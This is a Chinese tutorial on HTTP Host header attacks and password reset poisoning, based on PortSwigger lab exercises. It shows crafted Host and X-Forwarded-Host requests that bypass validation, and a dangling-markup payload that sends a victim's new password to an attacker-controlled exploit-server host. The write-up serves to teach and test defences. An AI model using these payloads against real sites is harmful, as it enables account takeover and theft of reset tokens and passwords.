Web 安全:HTTP头攻击(1) - 密码重置投毒 (Password Reset Poisoning)
本文参考 PortSwigger Web Security Academy ,笔者对原文进行翻译并调整行文顺序,添加了注释代码及说明见解等内容。
1. HTTP头攻击
1.1 什么是 HTTP 头
HTTP协议中,HTTP头是在HTTP报文第一行(请求行/响应行)之后,请求体/响应体之前的文本数据,用于传递附加信息。其基本格式为:HTTP头名称+英文冒号+具体值,具体值之前的空格会被忽略,但建议添加空格,例如:User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
。
各个HTTP作用不同,详见Mozilla官方文档。
1.2 什么是 HTTP Host 头
HTTP Host头由客户端发送,格式如Host: portswigger.net
,其作用是:标识客户端浏览器要与哪个域通信,通常用在服务器配置了多个虚拟主机或者使用CDN的情景下。例如下面NGINX的配置,单个IP地址(甚至是同一个端口)托管了多个域:
server {
listen 8000;
server_name noa.icu;
location / {
root /var/www/html/public;
index index.html index2.html index3.html;
}
}
# 多个Server可以配置相同的端口,使用不同的主机名区分
server {
listen 8000;
server_name localhost;
location / {
root html;
index index.html index2.html index3.html;
}
}
客户端发送的请求中,HTTP头为localhost,会匹配到NGINX默认页面。
[root@Y conf.d]# curl http://localhost:8000 -H "Host: localhost"
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>
# 下略
客户端发送的请求中,HTTP头为noa.icu,会匹配到Hugo页面(Web应用页面)。
[root@Y conf.d]# curl http://localhost:8000 -H "Host: noa.icu"
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta name="generator" content="Hugo 0.92.2" />
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="robots" content="noodp" />
# 下略
1.3 对 HTTP Host 头的攻击
若服务器隐式信任客户端发送的Host头,且未能正确验证或转义,攻击者可能能够向Host头的具体内容中填入恶意Payload,从而影响或者操纵服务器行为,这种攻击方式称为HTTP主机头攻击(HTTP Host header attack)。
例如,Web应用程序不知道自身位于哪个域中(现代Web应用程序很常见,如多个不同单位采购了同一套Web应用),且开发或运维人员未在配置文件中手动指定域,但应用程序某些功能需要知道当前域才能实现(如重置密码时,后端生成重置密码的URL并发送至用户邮箱),后端可能将客户端发送的Host头看作当前域,从而导致漏洞。
HTTP其他标头还可用于网站基础设施的不同系统之间的各种交互,这也可能导致漏洞(如Nacos漏洞CVE-2021-29441,攻击者可以通过修改HTTP请求报文中User-Agent字段为 Nacos-Server
,利用UA白名单绕过API鉴权,直接进入管理页面)。
1.4 识别 HTTP Host 头漏洞
若修改 HTTP Host 头后,正常的HTTP请求仍然能够到达目标应用程序,则可以使用该标头探测应用程序,并观察对HTTP响应的影响。
- 提供任意主机头
第一步是提供任意、无法识别的域名,并观察服务器响应。有时提供了不合理的主机头后,仍可正常访问目标网站,可能是由于服务器配置了默认或回退选项。若根本无法访问应用程序,出现Invalid Host header
之类的错误,可能是由于目标Web应用程序使用了CDN等服务。
若请求是由于某些原因被阻止(如Web应用检查Host头中的域名和SNI中的域名是否匹配),而非Invalid Host header类似错误,并不意味着目标Web应用一定不受主机头攻击的影响。
- 检查验证是否存在缺陷
例1:后端可能只验证Host头中的域名而忽略端口,可以在端口处填入非数字端口,即可保持域名不变,确保HTTP请求到达目标并通过端口处注入Payload
GET /example HTTP/1.1
Host: vulnerable-website.com:bad-stuff-here
例2:后端通过匹配允许任意子域,即:仅允许特定结尾的Host值,该情况下可以注册一个与白名单域名相同字符结尾的域名绕过安全认证,或者利用安全程度低的子域名。
GET /example HTTP/1.1
Host: notvulnerable-website.com
GET /example HTTP/1.1
Host: hacked-subdomain.vulnerable-website.com
- 发送不明确请求
对HTTP Host头进行验证的代码和存在漏洞的代码可能位于不同的应用程序组件中,甚至存在于不同的服务器上。通过识别、利用二者对Host标头处理的差异,发送一个模棱两可的请求,使服务端在验证Host头代码和存在漏洞的代码中,解析到的Host头不同。
例1:添加重复的主机头,假设前端解析HTTP请求中第一个主机头,后端解析HTTP请求中最后一个主机头,可以使用第一个标头来确保将请求路由到预期目标,并使用第二个标头将Payload传递到服务器端代码中。
GET /example HTTP/1.1
Host: vulnerable-website.com
Host: bad-stuff-here
例2:提供绝对网址,一般来说HTTP请求行的路径为相对路径,但许多服务器的配置也可以解析绝对路径。可以尝试在一个HTTP数据包中,HTTP请求行中填入绝对路径URL(还可以尝试不同的协议),Host标头填入Payload。
GET https://vulnerable-website.com/example HTTP/1.1
Host: bad-stuff-here
例3:添加缩进,通过使用空格字符缩进 HTTP 标头,某些服务器会将缩进的标头解释为换行,进而将该HTTP头视为前一个HTTP标头值的一部分。某些服务器会完全忽略缩进,正常解析带缩进的标头。例如网站阻止多个 Host 标头的请求,但可以通过缩进其中一个来绕过此验证。如果前端忽略缩进标头,则请求将作为 的 vulnerable-website.com
普通请求进行处理。后端忽略前面的空格,并在重复的情况下优先处理第一个标头。
GET /example HTTP/1.1
Host: bad-stuff-here
Host: vulnerable-website.com
- 注入覆盖Host标头
当网站配置了负载均衡或者反向代理服务器时,后端接收的Host头很可能是负载均衡或反向代理等中间系统的域名。后端为了获取客户端请求的Host头原始值,通常会在负载均衡或反向代理服务器引入X-Forwarded-Host
头,后端会将该值看作客户端请求的Host原始值。因此当客户端发送的请求存在X-Forwarded-Host
头时,即使应用程序没有使用负载均衡或反向代理,很多后端框架会将X-Forwarded-Host看作客户端请求的Host原始值,从而覆盖当前数据包中的Host头的值。
GET /example HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: bad-stuff-here
由于X-Forwarded-Host
头是事实标准而非HTTP规范,如下这些标头可能有相同作用:X-Host
、X-Forwarded-Server
、X-HTTP-Host-Override
、Forwarded
。
2. 密码重置投毒漏洞
2.1 密码重置的工作流程
- 用户输入邮箱,提交重置密码请求
- 应用程序后端检查用户是否存在,并为其生成一个临时的、唯一的、高熵的Token,并将该Token与用户账户关联。
- 应用程序后端为用户生成重置密码的URL,并通过邮件发送至用户邮箱,类似
https://normal-website.com/reset?token=0a1b2c3d4e5f6g7h8i9j
- 用户登录邮箱并点击URL,应用程序验证Token通过后,跳转至重置密码页面,重置密码后销毁Token。
2.2 漏洞原理
漏洞出现在上述过程中的第三步,用户使用邮箱重置账户密码时,应用程序需要知道当前域名,并根据域名生成重置密码的URL并发送用户邮箱。
当网站开发人员或运维人员未在配置文件中手动指定当前域,后端可能将客户端发送的Host头看作当前应用的域,攻击者通过自定义Host头生成指向受其控制的恶意域的密码重置链接,用户登录邮箱并点击URL后,实际访问的是攻击者恶意域下的网站,由此攻击者窃取重置密码所需Token,并最终破坏其帐户。
2.3 案例演示
- 以 PortSwigger 靶场(简单) 为例
用户选择忘记密码,填写用户名后,系统会生成重置密码的Token并发送至用户邮箱。
用户登录个人邮箱接收邮件,访问邮件中的URL,即可输入新密码,完成密码重置。
在上述提交用户名的数据包中,将原始的Host头内容替换受自己控制的域名后,用户收到的URL是拼接了恶意域名的URL,证明服务器存在密码重置投毒漏洞。
若用户或用户的邮箱安全软件访问/扫描了该URL,则攻击者则可以通过查看访问记录获取到用户的密码重置Token:
后续攻击者可以通过该Token拼接正确的重置密码URL,并对受害者的账号密码进行重置。
修改Host头会报错,但可以通过添加X-Forwarded-Host头覆盖Host头,实现上述攻击。
服务器向客户端邮箱发送的是新密码,URL只是网站用户登录页,这种情况下URL不携带Token,即使通过Host头或X-Forwarded-Host头能够修改生成的URL的域,被攻击者访问该URL后也不携带Token或密码。
该案例中,修改Host头为其他域会直接导致报错,但发现该Host头的端口若为非数字Payload,不会导致报错。
收到的邮件中也携带该Payoad,但无法通过修改Payload闭合标签构造携带用户的新密码的URL。
发现邮件中标签使用的都是单引号,可以先闭合一部分标签,并且通过悬空标记注入的方式,在受攻击者控制的域名URL前使用一个双引号。因为浏览器未能找到后面一个双引号,浏览器会将双引号后的所有内容识别为URL,从而成功将用户密码填充到URL中。
构造出来的Payload如下:
'></a><a href="https://exploit-0ab4008504e82217828ce11f01a30069.exploit-server.net
收到的邮件如下:由于双引号未闭合,浏览器会将下图选中部分看作一个URL,该URL中包含用户的新密码。
若被攻击者的安全软件自动扫描了该邮件,会直接访问上述URL,攻击者可在访问日志中直接看到被攻击者的新密码。